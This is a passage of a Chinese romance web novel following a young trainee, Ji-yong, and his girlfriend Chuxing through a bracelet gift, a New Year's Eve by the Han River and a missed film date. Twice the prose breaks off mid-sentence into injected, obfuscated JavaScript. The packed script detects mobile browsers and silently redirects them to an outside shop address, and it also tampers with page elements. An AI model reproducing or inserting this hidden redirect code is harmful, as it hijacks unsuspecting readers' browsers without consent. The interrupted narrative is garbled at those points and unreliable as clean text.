至龙摇摇头,眼神在路灯柔和的光线下显得格外深邃和温柔。他松开牵着她的手,小心翼翼地从羽绒服内侧的口袋里,掏出一个精心包装的小盒子。他郑重地将其递到初星面前,“这个……是只想送给你的。是我们两个人的。” 初星接过那个带着他体温的、触手微暖的盒子,打开深蓝色的丝绒首饰盒,内部柔软的黑色海绵衬垫上,静静躺着两条设计截然不同、却同样精致无比的银色手链,在夜色中流淌着含蓄而高贵的光泽。 一条手链的链身极细,宛如星河流淌,上面间隔点缀着几颗小巧玲珑的星星吊坠,星星的每个棱角都被打磨得光滑圆润,折射出细碎的光芒。另一条则更为精巧复杂,链节设计成独特的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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至龙看着她眼中清晰无比的感动和几乎要溢出来的喜爱,脸上再次绽放出无比满足、甚至带着点骄傲的笑容。偷偷省下的零花钱、无数个夜晚对着设计图稿的纠结和精心准备,都在这一刻得到了最完美的回报。 初星上前一步,主动抱住了他,把滚烫的脸颊埋进他还带着寒气的羽绒服里,“以后也要记得。每年都要。” 至龙愣了一下,随即用力地回抱住她,仿佛要将她揉进自己的骨血里,用低沉而郑重的、如同起誓般的声音承诺,“嗯!一定记得。以后的每一年,每一个生日,都会记得。星星是你,蝴蝶也是你,永远都是你。”…… 隔天一早,至龙依旧凭借强大的意志力准时出现在初星家楼下。他眼下的乌青似乎更重了些,但整个人的精神状态却奇异地亢奋和明亮。他一眼就看到了初星纤细的手腕上,赫然戴着昨晚的手链!星星的碎光和她腕骨的线条相得益彰,那只镶钻的蝴蝶在她抬手接过他递上的热饮时,轻轻碰撞着星星,发出细微而悦耳的清脆声响。 他的嘴角不受控制地向上扬起,“戴着呢?” “嗯,”初星故作平淡地应了一声,努力压下嘴角的笑意,却故意把戴着手链的手腕伸到他面前晃了晃,让星光和蝶影在晨光下更加闪烁,“随便戴戴而已,搭配衣服。” 至龙笑得傻气而满足,趁周围清晨人少,飞快地低下头,极其轻柔地在那只冰凉的钻石蝴蝶上落下一个短暂的吻,然后抬起头,耳根不受控制地泛红,眼神牢牢地看着她,由衷地赞叹:“很好看。特别配你。” 初星的脸“唰”地一下红透了,像熟透的苹果,飞快地收回手,瞪了他一眼,语气娇蛮:“呀!权至龙!你干嘛呀!被人看到怎么办!”但心里却像被灌满了温热的蜜糖,甜丝丝的感觉顺着血管蔓延开,连带着冬日清晨凛冽的空气,都变得清新而令人愉悦起来。 一整天,初星上课时都有些心不在焉。她会时不时地用指尖轻轻抚摸手腕上那两条紧密相依的链子。写笔记时,星星的棱角会轻轻磕碰到木质桌面,发出细微的声响;举手回答老师问题时,蝴蝶的翅膀会在教室的灯光下划过一道优雅的弧线,闪过一道不易察觉的光芒。每一次指尖的触碰、每一次眼角的余光瞥见那抹闪亮,都会让她清晰地想起昨晚他认真又紧张的样子,想起路灯下他深情的凝视,和那句低沉而郑重的“星星是你,蝴蝶也是你”,然后心底最柔软的地方就会被轻轻触动,忍不住微微低下头,掩饰嘴角那抹无法抑制的、甜蜜的笑意。 回家路上,眼尖的珍雅终于逮到机会,一把拉起初星的手腕,凑近了仔细端详,发出夸张的惊叹:“哇!这就是至龙欧巴昨晚私下送你的‘定情信物’吧?快给我仔细看看!上课的时候我就看你一直偷偷摸手腕,果然是藏了不得了的好东西!” 初星任由好友打量,嘴角带着藏不住的、小女孩般的得意笑意,轻轻“嗯”了一声。 “啧啧啧,他可真会选!心思也太细腻了吧!”珍雅一脸羡慕和赞叹,“而且只私下送给你,这份心意……也太浪漫、太戳人了吧!” 初星心里那点小小的骄傲和被人看破的甜蜜被好友精准点破,笑得更加明媚动人,眼底流光溢彩。 而至龙那边,在高强度的训练间隙,累得瘫倒在地板上时,偷偷拿出手机,屏保就是昨晚他抓拍的、初星低头微笑着凝视手腕上星光蝶影的侧脸剪影。永裴凑过来,看着他对着屏幕傻笑、一脸痴迷的样子,忍不住用手肘撞他,吐槽道:“呀!权至龙!又对着你的‘星星蝴蝶公主’傻笑呢?瞧你那点出息!魂都被勾走了吧!” 至龙赶紧手忙脚乱地藏起手机,踹了他一脚,笑骂道:“滚蛋!练你的舞去!”但脸上的笑意和眼底的光彩却怎么也收不住。 32. 汉江边的烟火 日子在一种规律而充实的节奏中平稳向前滑行。至龙的练习生课程依旧繁重得如同压顶的乌云,每天的训练时间被拉长到极限,汗水浸透了一件又一件练习服,身体的疲惫几乎刻进了骨髓。但每天早上雷打不动的、提前等在初星家楼下的身影,那杯总是捂在怀里、温度恰到好处的热饮,以及晚上无论练习到多晚、哪怕累得手指都抬不起来,也一定会挣扎着发来的那条简短却至关重要的「安全到家了吗?」或「练习刚结束,累瘫了…」的信息,成了连接两人世界最坚实、最温暖的纽带,无声地对抗着时间和距离的消磨。初星纤细手腕上那对叠戴的手链,也如同她身体的一部分,在阳光下闪烁,在灯光下流转,见证着每一个平凡又珍贵的日常。 岁末的气氛如同逐渐升温的炉火,越来越浓。街道两旁的店铺橱窗里,圣诞的装饰还未完全撤下,就已经迫不及待地换上了银色的雪花、金色的铃铛和“Happy New Year”的闪亮字样。璀璨的灯饰缠绕在光秃秃的树枝上,将冬夜点缀得如同幻境。人们的话题也纷纷从日常琐事转向了即将到来的跨年夜计划,空气中弥漫着一种辞旧迎新的、带着期盼的躁动。 放学傍晚,至龙没有练习送初星回家。两人并肩走在被夕阳染成暖橘色的街道上,影子在身后拉得很长。走到初星家楼下,至龙却没有像往常一样道别,而是有些犹豫地拉住了初星的手腕。 “初星啊,等一下。”他叫住她,声音比平时低沉一些。 “嗯?”初星停下脚步,疑惑地转过身,微微仰头看着他被夕阳勾勒出柔和光晕的侧脸。 至龙目光专注而认真地凝视着她,眼神里充满了小心翼翼的期待和一丝不易察觉的忐忑:“就是跨年那天晚上……你,你有安排了吗?” 初星看着他这副郑重其事又带着点紧张的样子,一个模糊的猜想在她脑海中浮现。她摇了摇头,努力让自己的声音听起来平静自然:“还没有。怎么了?你有什么计划吗?” 听到“还没有”三个字,至龙脸上紧绷的线条柔和下来,放松感涌上心头,他立刻从自己那个看起来总是鼓鼓囊囊的书包里,小心地拿出了一张边缘有些毛糙的卡片——纯白的卡纸,上面用彩色铅笔手绘着略显稚拙却无比用心的图案:几朵小小的、炸开的烟花,两个线条简单、却手牵着手的小人儿站在像是江堤的地方,旁边还用歪歪扭扭但很认真的字体写着“一起跨年吧!”。 “我……我想邀请你一起跨年。”他双手捧着这张独一无二的“邀请卡”,递到初星面前,“不去那些人多得要命、挤来挤去的广场,也不去看那些安静得让人想睡觉的展览。”他的眼神里闪烁着一种分享秘密基地般的兴奋,“我知道汉江边有一个小小的、不太起眼的公园角落,视野特别好,能远远看到整个城市的灯火,而且……相对安静很多,没什么人打扰。” 他越说越流畅,眼睛里的光芒也越来越亮,仿佛已经看到了那个夜晚的场景:“我们可以先去吃任何你想吃的东西!烤肉、部队锅、上次你说好吃的酱蟹……随便你选!然后……我们去买很多很多好看的烟花棒,带到那里去放。就我们两个人,安安静静地,看着江水和灯光,一起等到零点,迎接新年。好不好?” 初星看着这张充满童趣和心意的手绘卡片,再听着他描述的景象,心里被这种简单的浪漫击中了…… 她抬起眼,看着至龙忐忑不安的样子,蹙起眉头,带着点故意的为难:“汉江边啊……听起来是不错……但是晚上江风会很冷哦……我肯定会冻僵的……”她配合地缩了缩脖子,做出一个怕冷的样子。 至龙立刻急切地向前倾身:“我早就想好了!我准备了超级厚的羊毛毯子!超大一张!还有暖宝宝,各种尺寸的,管够!后背、肚子、脚底都可以贴!热饮也准备好,用保温壶装着,保证一直热乎乎的!绝对不会让你冻着一丝一毫的!我发誓!” 初星看着他这副急切的、信誓旦旦的模样,忍不住“噗嗤”一声笑了出来,手腕上的蝴蝶手链随着她肩膀的抖动轻轻颤动。她伸手接过那张可爱又珍贵的手绘卡片,指尖在粗糙的纸面上珍惜地摩挲了一下,似乎能感受到他绘制时专注的温度。 “逗你的啦!”她扬起线条优美的下巴,眼里闪着狡黠而愉悦的光彩,“听起来比去那些人挤人的地方有意思多了,也特别多了。我去。就我们两个。” 至龙努力克制住激动:“真的?说定了哦!不准反悔!我们一起跨年!迎接新年!”他伸出手指,想要拉钩。 “嗯,说定了。一起跨年。”初星点点头,没有去勾他的手指,而是小心地将那张手绘卡片对折好,放进了自己大衣内侧的口袋里,贴近心脏的位置。心里,已经开始不由自主地想象起江边静谧的夜景、烟花棒在手中绽放的绚烂,以及零点时分,只有他们两人的世界会是什么样子。 接下来的几天,两人之间弥漫着一种心照不宣的、更加甜蜜而郑重的氛围,连空气都变得粘稠而充满期待。至龙在挥汗如雨的训练间隙,会偷偷拿出手机,避开老师的视线,飞快地查询哪种烟花棒燃烧时间长、火花更漂亮更安全;哪种保温壶的保温效果最好,能让热饮坚持到午夜;还在网上研究了汉江边那个小公园的具体风向和最佳观景位置。而初星则开始不动声色地琢磨跨年那天要穿什么衣服,既要好看得配得上这个特别的夜晚,又要足够保暖,不能真的被江风冻到;她还偷偷在房间里,用打火机尝试点燃一根普通的火柴,练习怎么才能不害怕那瞬间窜起的火苗,好在当晚能从容地、优雅地手持烟花棒。 …… 十二月三十一号,在满满的、带着烟火气和甜蜜期待的倒数中,终于姗姗而来。 然而,这个备受期待的日子,白天却过得并不浪漫。至龙一大早就被公司抓去进行年末考核,室长亲自坐镇,每一个动作、每一个节拍都被要求做到极致,汗水湿透了几层衣服,腿脚酸软得像是灌了铅。而初星则被家人拉着,投入到声势浩大的年终大扫除中,忙得灰头土脸,腰酸背痛。 临近中午,至龙发来一张照片,画面是练习室反光的地板,隐约倒映出他们疲惫的身影,配文:「被室长盯着加练走位,感觉腿已经不是自己的了,快要废了T-T」 初星很快回复,发去一张家里客厅堆满杂物箱、她戴着防尘帽手持鸡毛掸子的“战斗”照片,配文:「彼此彼此,我在和积累了整整一年的灰尘进行殊死搏斗?? 感觉快要阵亡了。」 「晚上想吃什么?烤肉?热乎乎的部队锅?还是上次你说很好吃的那家酱蟹?」至龙在短暂的休息间隙抓紧时间问。 初星几乎秒回,发了一个双眼冒爱心的流口水表情:「酱蟹!(*?ω?) 想吃那个!」 「OK!收到!那我提前预约好位置!大概晚上7点左右去接你,可以吗?」——至龙 「好~ 七点见~」——初星回了一个乖巧点头的表情。 傍晚时分,至龙才从令人筋疲力尽的加练中解脱出来。他以最快的速度冲回宿舍,洗了个热水澡,冲掉一身的疲惫和汗味。随后站在衣柜前,仔细挑选,最终穿上了初星曾说过显得他身形很修长、很好看的那件黑色长款羽绒服,围上一条厚实温暖的灰色羊绒围巾。他站在镜子前,反复拨弄着头发,确认自己的着装,又仔细检查了那个鼓鼓囊囊的背包有没有遗漏。 另一边,初星也在与灰尘和杂物的“战斗”结束后,迫不及待地冲进浴室,洗去一身的疲惫。她站在衣帽间里,对着镜子比划了许久,最终选择了一件质感高级的奶白色牛角扣羊毛大衣,内搭一条活泼的浅黄色毛呢连衣裙,随后她深吸一口气,像是做出了一个重大的妥协和牺牲,穿上了厚度适中但颜色非常贴近肤色的裤袜!她将至龙送的手链仔细戴在腕间,甚至还对着镜子,淡淡地涂了一层提升气色的粉色唇彩。看着镜子里那个既保暖又不失漂亮、眼中带着盈盈期待的自己,她才满意地点了点头,一种混合着羞涩和兴奋的情绪在心底涌动。 快到晚上七点,初星的心跳就开始不自觉地加速,像揣了一只调皮的小鹿。她在房间里来回踱步,时不时看向窗外。当时钟的指针精准地指向七点整时,手机的屏幕适时地亮起,震动了一下。 「我到啦~」——至龙 初星抓起小手包,和家人打了招呼,便像一只轻盈的蝴蝶,飞快地跑下了楼。 至龙就站在楼下那棵在冬夜里显得格外孤寂的光秃银杏树下,路灯在他身上洒下一圈温暖的光晕。他看到初星从楼道里跑出来,快步迎上去。夜晚的寒气扑面而来,初星微微喘着气,呵出一小团白色的雾气。 “等很久了吗?”她问,声音带着点奔跑后的微喘。 “刚到。一点也不久。”至龙笑着摇头,语气温柔,把手里一直捂着的另一个保温杯递给她,“先喝点热的,暖暖身子,路上冷。” 两人去了那家以酱蟹闻名的餐厅。店内人头攒动,喧闹非凡,但至龙提前预约好了位置,他们无需等待便被引到了一处相对安静的角落。吃饭的时候,至龙的注意力全在初星身上。他熟练地帮她剥开坚硬的蟹壳,小心翼翼地将最肥美饱满的蟹黄和最鲜嫩的蟹肉完整地剔出来,堆满她的碗碟,自己面前则堆积起了小山般的蟹壳。 “你自己也吃啊,别光顾着我。”初星看着自己碗里堆成小山的蟹肉,有点无奈。 “看你吃比较香。”至龙托着下巴,眼睛一眨不眨地看着她满足地品尝美食的样子,笑得有点傻气,却充满了宠溺,“你吃得开心,我就饱了。” 吃完饭,夜色已如同浓墨般彻底铺满天空。两人前往汉江公园。越是靠近江边,节日的气氛便越是浓烈,虽然至龙精心选择的地点相对僻静,但沿途还是能看到不少和他们一样、提着大包小包、脸上洋溢着笑容准备来此跨年的人群。 至龙凭借记忆,很快找到了那块他事先“侦察”好的宝地——一片视野开阔、正好能眺望到对岸最繁华夜景,却又因为有一小片灌木丛遮挡而背风、相对安静的草地。他像布置一个小家一样,仔细地将那张厚厚的羊毛毯子铺平整,示意初星坐下。然后,他又像变魔术一样,从背包里掏出准备好的暖宝宝。 “来,贴上。江边风大,寒气重,脚底和后背最容易受凉,都贴一下。”他撕开包装递给她。 初星这次没有半点犹豫或嫌弃,乖乖地接过贴好。暖宝宝很快开始发热,持续的暖意渗透进来,驱散了夜间的寒意。她感觉自己被照顾得无微不至,像个需要精心呵护的宝贝,心里那股暖流涌动得更加汹涌。 一切准备就绪,两人并肩坐在柔软的毛毯上,将毯子多余的部分拉过来,盖在彼此的腿上,共享着这一方小小的、温暖的天地。远处是城市不眠的璀璨灯火,如同洒落的银河,近处是漆黑静谧的江水,默默流淌。周围很安静,只能听到隐约的、穿过灌木丛的江风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680922|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声,以及江水轻轻拍打岸边的、有节奏的哗哗声。一种远离尘世喧嚣的宁静和只属于彼此的亲密感,将两人温柔地包裹。 “现在可以放烟花了吗?”初星有些迫不及待地看向那包色彩缤纷、形状各异的烟花棒,眼睛亮晶晶的,像好奇的孩子。 “再等等,”至龙看了看腕表上的时间,带着一种仪式感的郑重,“等到快零点的时候放,用最美的火花迎接新的一年,寓意才好。” “好吧。”初星点点头,顺从地接受了这个安排。她往后靠了靠,寻找一个更舒服的姿势。至龙伸出手臂,绕过她的后背,让她能更舒适地靠在自己并不算宽阔却温暖的肩膀上。初星微微僵了一下,随即放松下来,将头轻轻靠了上去。两人之间隔着厚厚的衣物,却能清晰地感受到彼此的温度和心跳。 他们就这样静静地依偎着,偶尔低声交谈几句,分享着一副耳机,听着流淌出的、舒缓而应景的歌曲,享受着在忙碌喧嚣的岁末难得的、完全属于两个人的宁静和温暖。时间仿佛也放慢了脚步,温柔地流淌。 当时针渐渐指向十一点五十五分,远处市中心的方向开始传来隐隐约约的、如同潮水般逐渐高涨的欢呼声、音乐声,空气中弥漫开一种集体性的、兴奋的期待感。至龙坐直身体,从背包里拿出了那包烟花棒和一个防风的打火机。 “准备好了吗?新的一年。”他笑着问初星,眼睛在夜色和远处灯火的映衬下,格外的明亮。 “嗯!”初星兴奋地点头,屏住呼吸,有点紧张又无比期待地看着他熟练地按下打火机,橘黄色的火苗在风中稳定地跳跃起来,凑近一根长长的烟花棒的引信。 “嗤——”的一声轻响,引信被点燃,迅速燃烧殆尽。紧接着,绚烂的金色火花如同被禁锢的精灵瞬间被释放,猛地从烟花棒的顶端迸发出来,在浓重的夜色中划出耀眼夺目的光芒,噼啪作响,映亮了两人带着笑意和憧憬的年轻脸庞,将周围的黑暗驱散了一小片。 “给你!小心拿,别烫到。”至龙把燃烧的烟花棒递给初星。 初星小心翼翼地接过,冰凉的指尖触碰到他温热的手掌。她看着手中不断绽放、跳跃的金色火花,像是握住了一个小小的、触手可及的梦幻,忍不住开心地笑了起来,像个得到心爱玩具的孩子,拿着它在空中画着圈圈,写下无形的祝福。 一根接一根,各种造型的烟花棒在他们手中被点燃。有会像小陀螺一样旋转喷火的,有燃烧时会从金色变成蓝色再变成绿色的,还有星星形状的、火花特别细密闪亮的……这个小小的、僻静的角落被此起彼伏、不断闪烁变换的光芒照亮,空气中弥漫着淡淡的、令人安心的烟火味,和两人欢快的低笑声交织在一起。 就在这时,远处市中心的方向传来了震耳欲聋的、如同山呼海啸般的集体欢呼声!零点到了!新年的钟声仿佛穿透夜空传来!紧接着,更大的、真正的烟花秀开始了,一簇簇绚烂的光束呼啸着升空,在遥远的天际炸开成无数璀璨的花朵,将小半个天空映照得如同白昼,即使隔得很远,也能感受到那份磅礴的喜悦。 “初星!新年快乐!”至龙在一片手中烟花棒燃烧的噼啪声和远处烟花的轰鸣背景下,转过身,大声地对着初星喊道,他的声音带着难以抑制的激动,眼神亮的像空中绽放的烟花。 “至龙!新年快乐!”初星也笑着,用尽力气大声回应,手中的烟花棒挥舞着。 最后一根烟花棒的光芒渐渐微弱,最终熄灭。周围暗了下来,只剩下远处天际还在持续绽放的、朦胧的烟花光影,和彼此在适应了黑暗后依然明亮的眼睛。一种无比温暖、澎湃而又带着一丝怅然若失的情绪在两人之间无声地涌动。旧岁已逝,新年伊始,他们在一起。 至龙看着初星被烟花光芒照亮后更加生动、更加动人的笑脸,看着她眼中倒映的璀璨和喜悦,情不自禁地低下头,慢慢地、带着试探和无比的珍视,向她靠近,朝着她那在夜色中显得格外柔软的唇瓣贴近。 初星感受到他温热的呼吸轻轻拂过脸颊、看到他逐渐放大的脸庞时,她再次轻微地向后缩了一下,同时下意识地侧开了脸,避开了那个即将落下的吻。 至龙的动作立刻僵住了,停在了离她脸颊只有几厘米的空气中。他能清晰地感受到她那细微却明确的闪避和一瞬间身体的僵硬。远处欢呼声和烟花的爆炸声依旧在持续,但在他此刻的感知里,世界却瞬间安静了下来,只剩下自己内心一声轻微的、带着凉意的叹息和清晰的失落。他直起身子,拉开距离,掩饰性地抬手摸了摸鼻子,耳根在夜色中不受控制地泛红,语气变得有些讪讪的、带着受伤后的无措:“那个……对不起……我……我又太冒失了……”他明白了,或许她还需要时间,自己又一次逾越了她内心那道看不见的线。 初星也意识到自己又躲开了。看到他黯淡下去的眼神、脸上掠过的尴尬和失落,以及那副像个做错了事的大男孩般无措的样子,她心里一紧,涌上一阵强烈的歉疚、懊恼和心疼。 几乎在至龙道歉的话音刚落的同时,她飞快地伸出手抱住了他,将发烫的脸颊深深埋进他带着室外寒意和淡淡酱蟹、烟火混合气息的羽绒服里,声音清晰的传出来:“新年快乐……至龙。” 至龙紧紧地回抱住她,将下巴轻轻抵在她柔软的发顶,感受着她发丝的细腻触感,声音温柔下来,带着释然和一丝不易察觉的哽咽:“嗯,新年快乐,我的初星。” 33. 迟到的电影 春节假期的首尔街头,张灯结彩,处处洋溢着喜庆而热闹的气氛。红色的春联、憨态可掬的生肖装饰、还有飘散的甜腻年糕香气,共同织就了一幅岁末年初的温暖图景。然而,这份属于大多数人的闲暇与团圆,似乎并未完全惠及到权至龙身上。 他的练习生日程表被公司填得密密麻麻,几乎喘不过气。但在各种严苛训练的夹缝中,他硬是咬着牙,拼尽全力,才争取到了年初三下午宝贵的几个小时空隙。他们早早约好了,要去看一场她念叨了好几次的动画电影。 电影下午三点开场。初星提前四十分钟就到了影院。她手里捏着票,还特意去旁边的饮品店买了两杯热乎乎的奶茶。时不时踮起脚尖,在熙熙攘攘、大多是成双成对或一家人的入场人流中张望,期待能第一时间看到那个熟悉的身影。 离电影开场还有十分钟,至龙还没出现。初星微微蹙起眉,正想发信息问他到哪儿了,手机就率先震动了一下。是至龙发来的: 「对不起初星!临时加了一组舞蹈练习,老师突然抽查,盯得死紧,根本溜不掉!可能会晚一点点到!你先进去好不好?别等我了,我尽快跑过来!(>人<;)」后面跟了一个跪地道歉的卡通表情。 初星看着信息,心里小小地失落了一下,但还是回复道:「好吧,你快点哦。电影要开场了。」回复完,她犹豫了一下,退到人稍少的角落,靠着墙壁,继续等待。 时间一分一秒过去。电影开场的提示音透过厚重的门帘隐约传来,排队检票的人流迅速稀疏,直至完全消失,只剩下清洁阿姨在打扫散落的爆米花碎屑。初星抱着那两杯已经凉透、连杯壁都凝结出水珠的奶茶,心里的期待一点点被冷风吹凉,逐渐沉淀为一种实实在在的委屈和孤单。他明明知道她不喜欢一个人看电影,明明说好了会尽快来的…… 一个温和的、带着些许迟疑的男声在她身旁不远处响起:“初星……同学?” 初星从低落中回过神,有些意外地抬起头,看到了不远处的李叙夏。他穿着休闲棉服,手里也拿着一张电影票根,似乎是刚散场出来。脸上带着恰到好处的惊讶和一丝腼腆,犹豫了一下才上前几步,保持着一个礼貌的距离打招呼。 “啊……叙夏同学,”初星迅速整理了一下表情,礼貌地点点头,“你好。你也来看电影?” “嗯,刚看完。”李叙夏微微颔首,目光不着痕迹地扫过她手里的电影票和奶茶,又看了看早已开演、空荡荡的电影厅,语气带着善意的了然:“是在……等权至龙xi吗?” 这话轻轻巧巧,却正正戳中了初星此刻的委屈点。她微微叹了口气,肩膀稍稍垮下来一点,带上了点不自觉的抱怨:“嗯……他说练习要迟到一会儿,结果电影都开场半天了,还没见到人影……” 李叙夏表示理解地点点头:“练习生的日程确实身不由己,突发性的加练和考核太常见了,时间很难由自己掌控。你别太着急,他肯定不是故意的。”随后他的目光落在她手里那杯显然已经冰凉的奶茶上,犹豫了片刻,才不太好意思地、带着纯粹的善意和礼貌:“那个……奶茶好像凉透了,拿着也挺冰手的。如果不介意的话……里面的休息区有热水机,可以去接点热水暖一下手?或者……我帮你拿去服务台问问能不能加热一下?” 初星想摇头说不用麻烦了,但指尖传来的冰凉触感和心里那份空落落的失落让她迟疑了一瞬。拿着这两杯冰凉的饮料,确实又冷又尴尬。 在这片刻的迟疑间,李叙夏用指尖轻轻虚指了指她手中的杯子,“我看你好像等了很久,手都冻红了……没关系的,只是顺手的小事……” 他的态度太过坦荡和自然,让初星觉得再坚持拒绝反而显得自己扭捏和小题大做。她微微吸了口气,刚想顺势递给他帮忙加热,却听到身后传来一阵极其急促、由远及近的脚步声! “初星!” 她猛地回头,看见至龙全力飞奔而来!他跑得满头大汗,额前的刘海被汗水浸湿,一绺绺地贴在额头上,脸颊因为剧烈运动和焦急而涨得通红,胸口剧烈起伏着,大口喘着气,里面那件深色的练习服湿了一大片,紧紧贴在身上。他脸上带着浓得化不开的焦急和深深的歉意,目光死死锁住她。 在至龙快要冲到初星面前时,他看到了正站在初星面前、保持着一步之遥的李叙夏,以及初星准备将奶茶递出去的手! 是李叙夏! 那个初星曾经另眼相看、让他暗自紧张和比较过无数次的人!那个家世好、成绩优异、总是彬彬有礼的校园男神! 至龙奔跑的脚步几不可查地顿了一下,脸上的表情有片刻的凝固和空白,仿佛被无形的冰水泼了一身。他们为什么在一起?在她独自等他的时候?在她因为他迟到而委屈的时候?李叙夏对她说了什么?她刚才……是不是正要接受他的帮助? 无数个混乱的、带着刺的疑问瞬间冲进他因奔跑和震惊而嗡嗡作响的脑海!他想质问,嘴唇艰难地动了动,却发不出任何声音。他想起了初星曾经对李叙夏流露出的那种欣赏,想起了自己之前表白时她的拒绝,想起了那个被她下意识躲开的吻……一种深刻的、自卑的不安和恐惧迅速淹没了他。他害怕听到任何答案,害怕那个答案会证实他内心最深处的、关于“自己不够好”的恐惧。 至龙硬生生压下了所有的激烈情绪。他强迫自己忽略李叙夏的存在,脸上以一种近乎本能的速度重新堆起惯有的、带着讨好和歉意的笑容,只是那笑容边缘僵硬,眼底深处闪烁着无法完全掩饰的慌乱和一丝受伤。 他喘着粗气,冲到初星面前,极力装作轻松自然:“对不起对不起!我来晚了!练习拖得太久了……老师死活不放人……你等很久了吧?电影是不是都开场了?”他的目光快速地从李叙夏身上掠过,幅度很小地点了点头,算是打了招呼,但注意力立刻贪婪地放回初星身上,仿佛李叙夏只是一个偶然路过的、无关紧要的背景板。 李叙夏见到至龙终于赶来,主动解释道:“权至龙xi来了就好。我刚好看完电影出来,碰巧遇到初星同学在这里等,就聊了两句。”说完便示意了一下手中的票根,姿态从容,“那我就不打扰你们了。先走了。祝你们观影愉快。”他对着两人微微颔首,便转身离开了。 至龙看着李叙夏离开的、挺拔而彬彬有礼的背影,心里的那根刺却没有因为对方的得体解释而消失,反而因为这种无可指摘的从容和自然,而变得更加憋闷和无处着力。 他转回头,重新看向初星,努力维持着脸上的笑容:“电影……是不是已经开场很久了?” 初星看着他满头大汗、头发凌乱的狼狈样子,原本那点委屈和生气瞬间被心疼盖过了。她甚至能感觉到他身上散发出的、刚从练习室带出来的热气和汗味。“嗯,都开场好半天了。”她把手里那杯虽然凉了但至少比另一杯情况好点的奶茶递给他,“跑那么急干嘛呀,先喝一口顺顺气,缓一缓再说。” 至龙接过奶茶,指尖碰到冰凉杯壁时一颤,那股凉意似乎顺着指尖蔓延到了心里。他低着头,借着大口喝饮料的动作掩饰内心的混乱和残留的恐慌。甜腻的奶茶滑过喉咙,却仿佛带着一丝难以言喻的苦涩,哽在那里,难以下咽。 “那我们……还进去吗?”至龙小声问,声音里带着淡淡的疲惫和茫然。 “都开场这么久了,进去也看不懂剧情了,算了吧。”初星叹了口气。 “对不起……”至龙再次道歉,声音低低的,充满了真诚的愧疚,但这愧疚底下,却汹涌着未被察觉的失落、害怕和一丝自我厌弃。“又搞砸了……我总是这样……让你等……” “没事啦,”初星摇摇头,看他这副垂头丧气的样子,反而安慰起他来,“知道你也不是故意的,练习要紧嘛。”她主动拉起他的手,“走吧,别站在这儿吹风了。” 两人沿着张灯结彩、洋溢着节日喜庆的街道漫无目的地走着。喧嚣的人声和欢快的音乐稍稍冲淡了刚才那点微妙,但至龙心里的那根刺却隐隐作痛,李叙夏那张温和带笑的脸和初星刚才迟疑的样子在他脑海里反复闪现,让他无法真正放松下来,笑容也显得有些心不在焉。 走了一会,初星侧过头对至龙说:“对了,至龙,有件事要跟你说一下。” “嗯?”至龙立刻从自己纷乱复杂的思绪中抽离,有些紧张地看向她,“什么事?”他下意识地握紧了她的手。 “过几天,”初星踢了一下脚下的一颗小石子,“我阿爸哦妈要带我回中国一趟,去看外婆。大概要去一个星期左右吧。” 至龙停下脚步,错愕地转头看她:“回中国?一个星期?怎么……怎么这么突然?”声音里带着掩饰不住的慌乱。 之前完全没听她提起过!毫无预兆!而且偏偏是在他即将面临考核、压力巨大、两人相处时间本就稀少得可怜的时候;在他刚刚经历了迟到、又意外撞见李叙夏、心绪正极度不宁、安全感摇摇欲坠的时候! “也不算突然啦,”初星解释道,没太在意他过激的反应,觉得他只是单纯惊讶,“每年春节差不多这个时候,阿爸哦妈都会带我回去看看外婆的,只是今年外婆身体有点不太好,哦妈想多待两天陪陪她,时间就稍微长一 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“明天上午的飞机。”初星回答,终于注意到他情绪不太对劲,不只是惊讶,更像是低落?她试探着问,带着一点玩笑的语气,想缓和一下突然变得有些沉重的气氛:“……你怎么了?一副舍不得我的样子?就一个星期而已啦。” 若是平时,至龙肯定会立刻黏糊糊地、带着点撒娇地承认,但此刻,那句“舍不得”却卡在了喉咙里,变得难以出口。他看着初星似乎并不太在意这次短暂分别、甚至对旅程隐隐有些期待的样子,再联想到刚才李叙夏的出现和初星那一瞬间的迟疑,一种可怕的联想不受控制地冒出来——她是不是……并没有那么在乎他?所以才能这么轻松、甚至略带期待地说出要离开一周?他的存在,他的感受,对她而言,是不是并没有那么重要? 他勉强扯出一个笑容,试图掩饰住眼底翻腾的慌乱和受伤,声音都有些发飘:“没……没有啊。去看外婆是应该的,很孝顺啊。我就是……就是有点意外而已,没想到这么快……” 他低下头,用脚尖反复地碾着地面上一块根本不存在的石子,不敢让她看到自己此刻的表情:“那……去了那边,人生地不熟的,记得一定要注意安全。到了那边,安顿下来,记得给我发个信息。让我知道你平安到了就行。”他艰难地把“每天都要发信息”、“随时保持联系”、“一定要想我”这些带着沉重依赖意味的词语咽了回去,换上了轻飘飘的、看似体贴的“到了发个信息就行”。 “嗯,知道啦,放心吧。”初星点点头,觉得他好像有点怪怪的,但又说不上来具体哪里怪,安抚性地拍了拍他的手臂。 接下来的路,至龙变得异常沉默。初星偶尔说起对外婆家的期待、那边的小吃、以及要给外婆带什么礼物,他也只是心不在焉地“嗯”、“哦”着应和,眼神飘忽,明显不在状态。 直到把初星送到她家楼下,至龙都没能真正从这场内心的风暴中挣脱出来,反而越陷越深。内心的狂风暴雨远比表面上看起来的沉默要剧烈得多。 “那我上去了?”初星看着他,觉得他格外沉默,眼神像是蒙上了一层薄薄的、看不真切的雾气,里面似乎藏着很多她看不懂的情绪。 “嗯,”至龙点点头,喉结艰难地上下滚动了一下。他上前一步,轻轻地张开手臂,环抱住她。但这个拥抱不同以往,力度克制而短暂,手臂只是虚虚地环着,一触即分,带着一丝不易察觉的、自我保护的疏离。“一路平安。到了那边……一切顺利。方便的时候,给我个消息就好。” 